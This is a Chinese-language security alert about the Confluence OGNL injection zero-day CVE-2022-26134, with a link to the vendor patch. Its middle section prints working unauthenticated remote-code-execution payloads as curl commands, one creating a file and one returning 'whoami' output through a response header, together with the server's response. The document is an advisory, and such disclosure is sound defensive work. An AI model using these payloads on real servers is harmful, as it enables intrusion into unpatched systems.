【漏洞预警】Atlassian 修复了Confluence的0DAY漏洞（OGNL注入漏洞 CVE-2022-26134)：无需要身份验证的远程代码执行漏洞

 

前言

知名软件厂商Atlassian发布了安全更新，用于修复Confluence 和 数据中心的一个关键的0Day漏洞，此漏洞正在被黑客疯狂的攻击暴露在互联网的服务器。

此0Day漏洞（CVE-2022-26134)影响所有 Confluence Server 和 Data Center版本，并且允许未经身份验证的攻击者在未打补丁的服务器上执行远程代码。

安全厂商Rapid7已经在其官网披露相关技术细节。此漏洞是一个影响http服务器的OGNL注入漏洞。可以通过将利用代码放置于URL中来执行。例如：

curl -v http://10.0.0.111/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/ 

通过请求创建文件：

${@java.lang.Runtime@getRuntime().exec("touch /tmp/r7")} 

也可以在返回代码中执行命令 whoami,可以查看返回中的X-Cmd-Responsed的响应内容。

curl -v http://10.0.0.28:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
*   Trying 10.0.0.28:8090...
* TCP_NODELAY set
* Connected to 10.0.0.28 (10.0.0.28) port 8090 (#0)
> GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
> Host: 10.0.0.28:8090
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 
< Cache-Control: no-store
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Confluence-Request-Time: 1654212503090
< Set-Cookie: JSESSIONID=34154443DC363351DD0FE3D1EC3BEE01; Path=/; HttpOnly
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Content-Security-Policy: frame-ancestors 'self'
< X-Cmd-Response: confluence 

修复与补丁

官方已经发布补丁，可以前往安装https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html